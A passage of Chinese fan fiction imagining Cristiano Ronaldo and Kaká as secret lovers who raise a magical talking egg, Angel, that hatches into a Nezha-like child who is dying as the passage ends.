马塞洛本来正在喝水,看着克里斯蒂亚诺的表情嘴里的水直接喷了出来,本来他以为佩佩只是杞人忧天,现在看来,自己简直是瞎子和傻子的结合体啊。 “你还真要睡在这里?你和卡卡同居了?克里斯蒂亚诺,你竟然当小三?”佩佩和马塞洛的表情彻底变了。 “什么啊,我和卡卡什么事都没有,你们怎么说的这么难听?”克里斯被小三这两个气的直想跳脚。 “克里斯,你说你和卡卡之间什么事都没有,我们相信,但是你敢说,你对卡卡,什么也没有吗?”马塞洛看着克里斯蒂亚诺,那眼神看的克里斯蒂亚诺喉咙发紧。 他嘴里想说他和卡卡本就是清白的,是正经兄弟关系,可眼前的两人是他最好的朋友,是最熟悉他的人,他不想瞒着……也瞒不住,“我,我,是,我是暗恋卡卡,怎么现在暗恋也犯法了?我知道他结婚了,有小孩子了,我又不打算做什么,怎么这年头暗恋也犯法了?暗恋不犯法,我只是不道德。” 克里斯说完感觉脸上凉凉的,伸手一摸,脸上都是眼泪,该死的,真的是太丢人了,该死的眼泪,该死的风,该死的空气,都怪自己今天太得意忘形,要不然才不会被人发现。 “你暗恋卡卡,卡卡知道吗?” “我都暗恋了,他怎么知道,他要知道,那不就成了明恋了。”既然被佩佩和马塞洛知道了,他直接破罐子破摔。 “克里斯,你是我们兄弟。”佩佩和马塞洛看着满脸眼泪的克里斯蒂亚诺开口说道:“我们希望,自己的兄弟能够幸福,如果,你真的喜欢卡卡,我们支持你去睡了他。” 克里斯蒂亚诺:“w(?Д?)w” 你们俩蹲墙根堵我,就是为了和我说这个? “可是那样做也太……不道德,缺德,太……”克里斯干巴巴的开口,他胆子很大,球场上,他敢赌,他的胆子有很小,和卡卡,他不敢赌。 如果卡卡发现他的感情,会不会连朋友也没得做? 马塞洛看着克里斯蒂亚诺,拍拍他的肩膀:“咱们是谁,咱们是球星啊,球星要什么道德,咱们就没有道德,哪个球星不劈腿,哪个球星不外遇?” “呃,我是不是要对你们说谢谢,谢谢你们安慰我?”克里斯蒂亚诺发现他的兄弟,总是能震惊他的三观。 他在这一刻切实的感受到,他的道德水平,远高于自己的兄弟,毕竟,当三这种事,他就做不来。 “谢啥,我们只希望你能 幸福,想干什么就大胆去干,记住,不被爱的才是小三,你和卡卡的事,我和都佩佩支持你,到时候你们结婚了,一定要请我做主桌,你们两个的事,我会给你们打掩护的。” 两人说完就走,留下克里斯蒂亚诺拎着垃圾在门口发呆。 他的脸色有些发红,嘴里喃喃道:“什么啊,怎么就扯到结婚了。” 说完,他捂着脸蹲在地上,他要在这好好冷静冷静再回去。 卡卡出来找人的时候,就在门口看到了蜷成球的克里斯蒂亚诺。 卡卡:“这是咋了?” “克里斯?克里斯?”卡卡开口叫到。 “卡卡?你怎么来了?”克里斯蒂亚诺揉揉发麻的腿,站了起来。 “你扔垃圾,已经出来一个小时了。” “啊?我以为你走丢了。”卡卡打趣道。 “都是马塞洛和佩佩,非拉着我在门口说话。”克里斯揉着腿抱怨道,他将垃圾扔进垃圾桶,对着卡卡说道:“走吧,回家。” 晚上,克里斯蒂亚诺敷着面膜坐在沙发上,卡卡在一旁吃着薯片所有人的眼睛都聚精会神的盯着电视,上面演的正是卡卡早上才吐槽过得绝望的主妇。 同居的第一个晚上,卡卡和克里斯一起熬夜了。 卡卡:“这电视可真好看,咔嚓咔嚓咔嚓”。 第二天两个人顶着黑眼圈来到球场,克里斯蒂亚诺转身就迎上了马塞洛打量的目光。 克里斯蒂亚诺:“-_-||” 他敢保证,这两个没有道德的家伙,绝对是误会了。 日子就这样,一天天过去,伯纳乌的日子,有酸也有甜,他和卡卡轮流受伤,一起被骂,但是克里斯觉得,只要子还在卡卡身边,就很幸福。 直到卡卡指着安琪儿对他说道“克里斯,你看安琪儿是不是长大了?” 克里斯这才看向他们的宝贝蛋,发现本来只有鸡蛋大的安琪儿,现在已经比拳头还大了。 “安琪儿还在生气”。克里斯有些无奈,他在前几天才想起,自己曾经代孕过一个孩子,现在孩子出生了。 “还不是你非和他一起看狗血剧,弄得他非吵着当独生子,现在让你把mini塞回去。”卡卡说道这里噗嗤一声笑出来。 “卢卡的事你也没告诉他啊。”克里斯冷冰冰的开口。 卡卡“……” “咱谁也别笑谁,最重要的是怎么办?” “算了,我去哄。”卡卡妥协的说道。 安琪儿还在一个蛋生闷气,他一直是尊贵的独子,那个庶子和自己长得都不一样,还敢里抢自己的宠爱,真是气死他了。 臭papa他再也不要喜欢papa了。 “安琪儿。”卡卡温柔的声音传来,安琪儿懒懒的转了下蛋身,拒绝的意图很明显。 “安琪儿,别生气了,就算是有弟弟妹妹,哥哥,我们也爱你。”卡卡并没有出去,而是继续开口。 “我才不信。” “爸爸从不骗人。”卡卡看着床上的蛋,内心一片柔软。 他也没想到,安琪儿会对独子的身份这么看中,这让他和克里斯一时间都有些不知所措。 “那你们发誓,最爱我。” “我发誓,我最爱安琪儿了。卡卡语气温柔的发誓。” “papa也要发誓。”安琪儿继续补充。 “行,我让他也发誓。” 等卡卡出来,克里斯瞪大了眼睛,这,这么快就哄好了,自己可是哄了好几天,小祖宗都不理他,竟然被卡卡三两句就哄好了,他承认自己感觉酸酸的。 变故发生在三天后,他们发现安琪儿的壳变厚了,体积在一次暴涨,从拳头大,变成了和鸵鸟蛋一样大。 “爸爸papa,我要破壳了。”安琪儿说完这话以后就再也没说过话了。 一颗蛋,破壳会生出什么? 这个答案克里斯和卡卡谁也不知道。 未知的情况让两个人心事重重,直到克里斯那天报出一摞资料,和卡卡兴冲冲的解释:“卡卡,我找到了,华国有资料,里面也有个从石头里蹦出来的,和咱们安琪儿一模一样。” 卡卡也很开心,他兴奋的看向克里斯手里的东西。 “……”卡卡 “你是说,安琪儿会是一只猴子?”卡卡声音干巴巴。 “也不一定是猴子,我再去查查资料。”克里斯安慰道。 他不是嫌弃,只是,如果安琪儿是只猴子,以后会不会被动物园带走? 还有,这只华国猴子也太惨了,竟然还要去取经?如果安琪儿是只候,也要去取经吗?他们家安琪儿娇生惯养的,可万万受不得这种苦。 从那天以后,电视上的狗血剧变成了西游记,就连没有意识的安琪儿也要看。 “该死的光头,丧心病狂,连猴子都欺负,这个光头是猴贩子。”也变成了克里斯的口头禅。 克里斯还专门弄了张宠物猴收养证,差点气死门德斯。 过了几天,克里斯又抱着一摞资料过来,这次更兴奋:“卡卡,这里有个更像的,也是华国的,叫哪吒,他也三年才出生,和咱们家安琪儿一模一样。” “他不用取经吧?”卡卡小声问道。 “我也不知道啊。” 那天后,卡卡他们上半夜看西游记,下半夜看哪吒闹海。 “以后还是别让安琪儿学游泳了。”看完哪吒闹海的卡卡说道。 “嗯。”克里斯蒂亚诺非常赞同卡卡的决定。 “卡卡,别怕,就算安琪儿是猴子,我也会保护他的,就算他是熊孩子,我也会爱他。”克里斯从后面环住卡卡。 他能感受到卡卡的焦躁,不安。 安琪儿不管是人是猴他们对他的爱都不会变不是吗?,就算安琪儿只是一个猴子,也会是全天下最可爱的猴子不是吗? 26.这是一个酸涩的番外完 卡卡回抱住克里斯蒂亚诺:“谢谢你,克里斯,还好有你,一直陪在我身边。”,他的脸上笑的一脸温柔,但眼神深处却划过一抹痛楚,上帝啊,我有罪,如果您要降下惩罚,请您只惩罚我一个人,不要惩罚我爱的人。 卡卡这个时候,已经和克里斯蒂亚诺做了三年队友,住在一起两年。 他们有着共同的爱好,事业,兴趣,克里斯有趣,不屈,争强好胜的灵魂在不知不觉间吸引着他,让他不自觉的靠近。 尤其是他看向自己的那双充满爱的眼睛,让他动了心。 在望向他的时候,让他心甘情愿的踏入深渊,让他故意随着自己的心放任自己的感情,放任克里斯蒂亚诺的靠近。 但是,他不能回应这份感情。 卡卡承认自己是个胆小鬼,他有妻有子,他信仰的上帝,让他不能承认这份感情,世俗让他不能承认这份感情。 世界上的所有,都告诉他,不能承认这份感情,告诉他“前方是深渊,踏入必死。” 如果踏出那一步,他还有克里斯就都完了。 所以在克里斯蒂亚诺在以朋友,以队友的身份守在他的身边,他虽然愧疚,但心里却松了一口气。 就算,他知道这对克里斯不公平,对卡洛琳不公平。 但是,上帝啊,原谅他吧,他承认,自己就是个胆小鬼。 他的心每时每刻都犹如烈火烹油,这些痛苦,是对他的惩罚。 但是在这些痛苦里,因为有了克里斯和安琪儿在,又让他感到很幸福。 所以在安琪儿突然不说话的时候,卡卡心里冒出了巨大的不安,他一直认为,安琪儿是上帝赐予他的礼物。 被回抱住的克里斯,震惊的瞪圆了自己的眼睛。 他虽然和卡卡同住在一个屋檐下,虽然在赛场上他们有无数亲密的时刻,哦,原谅他这个胆小鬼,在现实生活里,这是他们第一次拥抱。 谁敢相信,他俩到现在还是纯洁的兄弟情。 感受着自己“砰砰砰”的心跳,克里斯一边埋怨自己的不争气,一边紧紧的扣住卡卡的肩膀。 “嘿嘿嘿,卡卡身上可真好闻。”他要多吸几口。 “你就别为安琪儿担心了,安琪儿可是咱们俩的孩子,而且他多皮实啊……”克里斯蒂亚诺想起前几天安琪儿和足球争宠,把家里的球都给扔了,还给自己画了一个足球妆,cos足球的事。 那次可真是吓了他俩一大跳。 在踢飞足球那一刻他就感觉脚感不对,然后他就看见,被自己踢飞的球在空中嘎嘎乐出了声,在笑声中飞进了球门。 那个球又在卡卡震惊的目光中从球门里跑到自己脚边“papa,papa,再来一次,再来一次。。。。” 顶着卡卡的要杀人的眼神,克里斯蒂亚诺赶紧解释:“不是我,我啥也不知道,不关我事啊,都是安琪儿一个人做的。” “你是说他身上是自己画的,他连手都没有。” “这个坑爹的娃。”克里斯在卡卡的教训声里泪流满面。 然后,卡卡在那个晚上发现,足球妆还真是安琪儿自己画的。 因为,自己前脚刚给安琪儿洗的干干净净,后脚在那白色的蛋壳上就长出了一双雷霆大眼和血红大嘴,从画技可以看出,画师画工已经到了登峰造极的难看。 “……”卡卡。 大晚上乍然一看,真的很吓人。 卡卡不死心,抱着大蛋进了浴室又洗了一遍。 抱着干净的蛋,他心里松了口气,大晚上的,他并不希望他旁边睡着个这么吓人的东西。 就算是安琪儿也不行。 卡卡转身的功夫,蛋上又出现了一双卡姿兰大眼和樱桃粉嘴。 卡卡“……” 看着还是很吓人啊。 “安琪儿,睡觉前要洗干净。”卡卡打着商量。 安琪儿直接将脸扭了过去,嘴里喊着“爸爸~”试图蒙混过关。 卡卡叹了口气,“算了,孩子既然喜欢这样,那就这么睡吧。” 他抱着蛋,扣响了克里斯蒂亚诺的房门,克里斯的房间干净的极了,只是粉色的装修让卡卡觉得有些伤害自己的眼睛。 克里斯正在倒腾桌子上的那些瓶瓶罐罐,把他们一层一层抹在脸上。 “克里斯”卡卡咳嗽一声将手里的蛋塞进克里斯蒂亚诺的怀里“安琪儿说今晚想和papa睡。”说完不等克里斯反应过来,就急匆匆的走了出去。 克里斯蒂亚诺看着手里的蛋,有些疑惑。 这可是卡卡第一次把安琪儿送来和自己睡。 要知道,安琪儿可是一个冬暖夏凉的大宝贝,抱起来手感超级棒,他俩每次都是划拳确定安琪儿的归属的。 今天卡卡明明赢了,怎么还把安琪儿送来了? 这其中必然有诈。 不一会,房间就传来克里斯蒂亚诺气急败坏的声音“卡卡!!” 卡卡躺在自己的房间里勾起嘴角,“与其吓自己,不如吓别人”孩子又不是自己一个人的。 那天晚上,两人一蛋是在一张床上睡的,有福同享,有吓同当,安琪儿的脸太吓人,两人被吓醒了好几次。 从那以后,克里斯蒂亚诺又精通了一项绘画技能,因为他实在不想每天晚上被吓醒。 克里斯蒂亚诺的绘画天赋在安琪儿身上展示的淋漓尽致,安琪儿从此有了卡卡的同款小脸蛋。 从此,每天洗澡,卡卡都感觉自己像是打了一场硬仗。 虽然说是人是猴两个人都爱。 但只要是克里斯和安琪儿单独相处的时候,克里斯就会对着安琪儿自言自语,他和卡卡解释说是胎教,多听能让孩子更聪明。 “安琪儿,papa的蛋宝啊,虽然你破壳后是人是猴papa都爱,但还是人形最好了,最好长得像卡卡,嘿嘿,……” 虽然嘴上说着别担心,但是最担心的分明是克里斯蒂亚诺他自己,为了了解安琪儿在蛋里的具体情况,克里斯背着卡卡,买了两台B超机。 一台黑白的,一台带色的。 听着门德斯在手机那边破口大骂,克里斯满不在乎,因为他在机器里面终于看清了蛋里面的情况。 里面是个小娃娃,穿着红肚兜。 克里斯蒂亚诺:“是哪吒啊,是哪吒,不是猴,卡卡,你快看,快来看咱们的宝宝。” 我就说我的胎教有用。 小娃娃闭着一双眼睛,脸并不像是刚出生的婴儿那样皱皱巴巴,反而白白嫩嫩的,像是华国里画像的年画娃娃。 真不愧是他的孩子,还没出生呢,就知道穿衣服。 他的脸和小时候的卡卡一模一样。 克里斯蒂亚诺眼睛一眨不眨的看着蛋里面的小娃娃,想从里面找出和自己相似的地方,他才不是嫉妒,只是有些失落,难道自己长得丑,孩子才没一个地方像自己? 马塞洛首先看出了他的异常,每天都跟在卡卡身后傻乐的兄弟今天竟然在闷闷不乐?难道是和卡卡闹别扭了? “克里斯,我的兄弟,有什么烦心事。” “马塞洛,你说,你的孩子如果不像你,会是因为什么?是不是因为你丑,孩子不想长得像你。” 马塞洛:“啊啊啊啊啊” 佩佩:“……” “可能孩子不是你的……” “你是说mini,他不是长的挺像你的?而且他不是在你老家丰沙尔,你妈带他来看你了?” 作为这几年克里斯蒂亚诺和卡卡之间的纠缠的旁观者,马塞洛可不相信,克里斯会背着卡卡再整出一个孩子。 克里斯蒂亚诺叹了口气,翻了个白眼走了。 马塞洛捅了捅一旁的佩佩,不确定的问:“克里斯不会又弄出了一个孩子吧?” “应该不会,他和卡卡形影不离,就差一起去厕所了,除非卡卡能生孩子,不然绝对没有可能。” “那你说,卡卡能生孩子吗?” 佩佩拍了拍自己的智障兄弟,叹了口气,自己的兄弟,终究还是疯了。 克里斯又开始了自己的胎教。 他每天抱着安琪儿四处溜达,嘴里还嘀嘀咕咕:“安琪儿,papa的蛋宝,你可以长得像卡卡,但是气质,一定要像papa哟,像papa一样,拥有国王般的气质,外在像卡卡,内在一定要像papa呦。” 卡卡对他的行为很是不解,因为他从来没有感觉到,克里斯所说的他拥有的国王般的气质。 克里斯眼神发光:“安琪儿有你的脸,和我的气质,将来一定会是球场上最耀眼的球员。” 卡卡温柔的看着屏幕上的小娃娃,眼神温柔:“我觉得,孩子以后想干什么,就让他干什么,我不会强制他踢球。” “啊?” “克里斯蒂亚诺罗纳尔多的孩子不去踢球?”那个场景真的是太可怕了。 “蛋宝,papa的蛋宝,你可不能听卡卡的。” 时间很快来到2012点9月,安琪儿的体型维持在了南瓜大小,不在长大,此时距离安琪儿沉睡已经过了半年,克里斯和卡卡对视一眼,他们两个能感觉的到,安琪儿马上要破壳了。 克里斯蒂亚诺专门买了一套私密性更高的别墅,为了防止意外,还请了一整套高级医护人员。 9月中旬,意外发生了,卡卡在比赛中受了伤。 “是小腿骨折,建议马上手术。”医生对着卡卡说道。 “可不可以过一段时间在手术?”卡卡看着手里的报告,安琪儿马上出生,做手术必须去美国,让他现在走,他实在不放心。 “里卡多先生,请您不要拿自己的身体开玩笑,您应该明白,退对于一个运动员来说意味着什么。”医生表情严肃,他不明白,为什么眼前的人敢拿自己的职业生涯赌。 “我……”卡卡看着自己的腿,将手里的报告捏成一团。 “卡卡,你必须马上去美国。”克里斯蒂亚诺严肃的说道。 “我知道,应该现在就去,可是……” “没有可是,我现在就去联系私人飞机,做完手术就回来,做手术很快的,到时候复建可以回来做,一定不会耽误你看到安琪儿出生。” “卡卡,安琪儿是咱们两个人的孩子,你相信我,我一定会保护好他,我保证。” 经过克里斯蒂亚诺的再三保证,卡卡最终还是踏上了前往美国的飞机。 坐在飞机上,卡卡搜着酸疼的眉心,心里隐隐带着不安。 到了美国,情况比卡卡想的更加严重。 “里卡多先生,您现在的情况并不适合马上手术,您的腹股沟……复发……” 卡卡的脸色发白,他没想过自己情况会这么严重。 “我要在这里呆多长时间?这会影响我的职业生涯吗?” “……这我并不能保证,这要看您手术后的恢复情况,但是您放心,这并不会影响到您以后的正常生活。” “谢谢您。”卡卡坐在病床上,对着医生礼貌道谢。 苍白的脸色,让医生的话都变得柔软。 “不客气,里卡多先生,您不要过于担心。” 知道消息的克里斯蒂亚诺知道消息后第一时间打开电话:“卡卡,你没事吧?我在来的路上了,你等我,别怕,你还有我,还有安琪儿。” 说完,他干脆利落的挂了电话。 “克里斯?”听着听筒里传来的咚咚声,卡卡露出了苦笑:“这就是上帝对他贪心的惩罚吗?惩罚他背叛了自己的信仰,爱上了一个同性?” 或许他们应该分开? 可是在看到门外风尘仆仆的克里斯蒂亚诺的时候,卡卡却没有办法欺骗自己的内心:“主啊,我有罪,就算死后灵魂永坠地狱,我也想和这个叫克里斯蒂亚诺的男人在一起,永远在一起。” “是时候了。”卡卡在心里对自己说。 “卡卡”克里斯蒂亚诺把卡卡紧紧的搂在怀里。 “我没事,克里斯。”卡卡拍拍克里斯的肩膀,想让他松开自己,克里斯却把他搂的更紧。 “卡卡,我……”克里斯蒂亚诺一时语塞,他想说的太多,一时间又不知道该从何说起。 他知道卡卡比他想象的坚强,但还是忍不住怜惜。 “克里斯蒂亚诺,安琪儿呢,你说过会照顾好他的。”看着克里斯空手来,卡卡疑惑道。 “我把安琪儿的存在告诉了我妈妈,现在她在家照顾安琪儿。”克里斯蒂亚诺心虚的低下头。 克里斯的妈妈,卡卡见过他,那是一个坚强的老妇人。” “我怕你会想不开,他们说你再也踢不了前腰了。”克里斯喃喃开口,说出了自己的担忧。 “克里斯,情况并没有那么坏,之少我还能踢球。”卡卡揉了揉克里斯的头,没抹发胶的头发手感出乎意料的不错。 “我们每个人都应该接受自己的命运,这没有什么大不了,做完手术我会转型成中场,我不会离开球场的,我发誓。” “嗯,卡卡,我相信你,你一定会成为最好的中场。” “谢谢。” < p>“你还没吃饭吧,我去给你买饭。”克里斯想到什么风风火火的跑出了病房。 他感觉自己太冲动了,现在急须一个人冷静冷静。 要不然肯定会忍不住亲卡卡。 看着空荡荡的病房,卡卡掏出手机:“卡洛琳,我们需要谈谈……” 听着电话那边的咆哮,卡卡声音冷的像冰:“卡洛琳,当初咱们两个都太小了,不明白什么叫做爱,我会给你补偿,你创业产生的所有债务,我都会替你还,你以后的生活费,我也会负担,孩子可以在父母身边轮流生活……” “不,卡卡我不会离婚,我不会放过你的,上帝,上帝也会惩罚你的。” “卡洛琳,我们继续在一起才是对彼此的伤害。” 卡洛琳将手机狠狠的摔在地上,不可置信的想,她那彬彬有礼的丈夫,竟然跟她说他爱上了别人,要和自己离婚? 她一定要找出那个女人,然后打烂她的脸,还有卡卡,她才不会对卡卡放手。 虽然她也对这段感情感到了厌倦,但那也得自己先开口才对。 肯定是因为自己一直不在他身边,才让别人钻了空子,可是就是因为卡卡性格木讷又无趣,要不然自己怎么会来美国寻找刺激? 卡洛琳先是联系了私家侦探,她决定了,如果一定要离婚,她一定会上卡卡身败名裂。 卡洛琳从西蒙妮家接走了卢卡,她已经查到了,卡卡在伯纳乌秘密买的那套房产。 她现在就要去找那个女人,让她看看,她和卡卡之间还有一个孩子,最好让她知难而退。 “咚咚咚”门被敲的震天响。 让本来还在看着蛋的多洛雷斯皱起了眉。 克里斯明明说过,不会有人来这里。 “妈妈,你又要再多一个可爱的小孙子了。” 这话让正抱着孩子的多洛雷斯皱紧了眉头。 本来她是不相信别人说他儿子私生活混乱的,现在她也开始怀疑,她心里的乖儿子,可能真不是什么好饼。 “克里斯,你又搞大了哪个女孩的肚子?我告诉你,你如果不结婚,我是不会认那个孩子的。” “妈妈,这次情况特殊,您一定要帮我。” 然后多洛雷斯就被带到了这颗蛋前。 “妈妈,这是安琪儿,你的孙子。” “……” 多洛雷斯手摸上了克里斯蒂亚诺的头,语气里充满了怜惜:“哦,我可怜的孩子,你是生病了吗?” “妈,这真的是您亲孙子……” 然后多洛雷斯就看见了眼前蛋里面有个穿着红肚兜的孩子。 多洛雷斯“……” 克里斯摸着手下的大白蛋:“安琪儿,papa的蛋宝,papa现在要去找爸爸,安琪儿要在家乖乖等papa和爸爸啊,一定要乖乖的啊。” …… 这蛋今天振了好几下,多洛雷斯怀疑,她的蛋孙子马上要破壳了。 结果偏偏这个时候传来敲门声。 “开门。”门口的卡洛琳更加用力的敲门。 跟在她身边的卢卡一脸不知所措。 “妈妈,这是哪里,你不是说要找爸爸吗?” “卢卡,妈妈来带你打坏人。” “克里斯,你快回来,蛋碎了,孩子的情况很不好。”克里斯的电话里传来了多洛雷斯焦急的声音。 “妈妈,你说什么?” 克里斯站起身,手机掉在地上,他蹲下,想要尝试拿起手机。 “克里斯,你怎么了?”卡卡从病床上起身,眼神里带着担忧。 “卡卡,”克里斯的声音里带着颤抖“安琪儿,安琪儿的蛋破了。” “我不知道他现在怎么样了。” “马上订票,我们马上回去。”卡卡比克里斯蒂亚诺镇静。 卡洛琳看着地上那一坨东西,眼睛里带着不可置信,她看看地上的液体,又看看自己的手。 多洛雷斯颤抖着将蛋液里的孩子抱出来,把他身上的血液擦拭干净,孩子的情况比那个时候好了很多,至少身上不再有血往外冒。 “我没有碰它,它是自己裂的。”卡洛琳紧紧的抓着卢卡的手,想要从中汲取力量。 多洛雷斯并不认识卡洛琳,也不听她的解释在她眼里这个女人只是伤害她蛋孙子的凶手。。 “我不是故意的。” 多洛雷斯在第一时间就呼叫了在别墅外的医疗队。 医生从多洛雷斯手里接过孩子,入手的分量让她皱起眉头,这孩子不对劲,明明看着至少三岁,身体重量却没有20斤。 还有,孩子身上的这浓重的血腥味。 天空中的太阳被月亮换下,风从窗前刮过,远方传来呜咽声。 “医生?我孙子怎么样?” 医生拉开口罩,将怀里的孩子递给多洛雷斯“女士,十分遗憾,孩子多器官已经开始衰竭,和孩子好好告个别吧。” 卡卡和克里斯推门进来的时候,正好听到这句话。 “妈”克里斯奔向多洛雷斯,从她手里接过孩子。 本来闭着眼睛的孩子,在感受到熟悉的气息后睁开了眼睛,在看到克里斯后,孩子白白的脸上露出一个苍白的笑:“papa,我有乖乖哦。” “医生,孩子睁眼了,你救救他,他还说话了,你救救他。”克里斯对着医生喊道。 “卡卡,怎么办,安琪儿身上好凉。” “先生,和孩子告个别吧,现在孩子活着的每一分都很痛苦。” “不,我不信,安琪儿明明好好的,卡卡,你看看安琪儿,他和B超机里长的一模一样。” “克里斯,我不知道,我也不知道怎么办。”卡卡接过孩子,孩子冰凉的身体让他打了个哆嗦。 “主啊,我有罪,请您惩罚我,不要带走我的孩子。” “爸爸。”安琪儿看到卡卡,伸手摸了摸卡卡的脸,又摸了摸克里斯的脸,发出了咯咯的笑声。 真好啊,自己现在有了小手手,可以摸摸爸爸,也可以摸papa。 就是当人这么疼的吗?不过为了爸爸papa,再疼他都可以接受的,只要可以在爸爸papa身边。 我愿意忍受所有疼痛,只为和你们生活在一起。 就像是小美人鱼那样。 他并不知道,他活不过明天了。 另一边,系统空间里一只泰迪熊走了出来,这是他第376个任务,他揉了揉自己发酸的脖颈,有着奇怪刚才的任务,这年头,连蛋都能成为bug了?